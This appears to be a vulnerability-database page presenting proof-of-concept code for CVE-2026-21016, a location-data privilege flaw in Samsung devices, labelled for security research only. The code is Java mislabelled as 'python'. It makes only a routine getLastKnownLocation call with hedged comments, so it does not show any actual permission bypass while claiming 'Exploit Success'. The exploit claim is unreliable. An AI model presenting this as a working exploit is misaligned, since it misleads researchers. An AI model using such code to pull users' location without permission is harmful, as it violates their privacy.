Samsung Mobile Devices (SMR May-2026 Release 1 之前版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import android.content.Context;
import android.location.Location;
import android.location.LocationManager;
public class CVE_2026_21016_PoC {
// This PoC demonstrates accessing sensitive location data
// due to incorrect privilege assignment in LocationManager.
public void leakSensitiveInfo(Context context) {
LocationManager locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
try {
// In vulnerable versions, this check might be bypassed
// or the permission requirement is incorrectly assigned.
String provider = LocationManager.GPS_PROVIDER;
// Attempt to retrieve last known location without standard permission checks
Location lastLocation = locationManager.getLastKnownLocation(provider);
if (lastLocation != null) {
double latitude = lastLocation.getLatitude();
double longitude = lastLocation.getLongitude();
// Sensitive information successfully accessed
System.out.println("Exploit Success: Lat=" + latitude + ", Lon=" + longitude);
} else {
System.out.println("Location data currently unavailable.");
}
} catch (SecurityException e) {
// If patched, this exception will be thrown
System.err.println("Exploit Failed: SecurityException thrown.");
e.printStackTrace();
}
}
}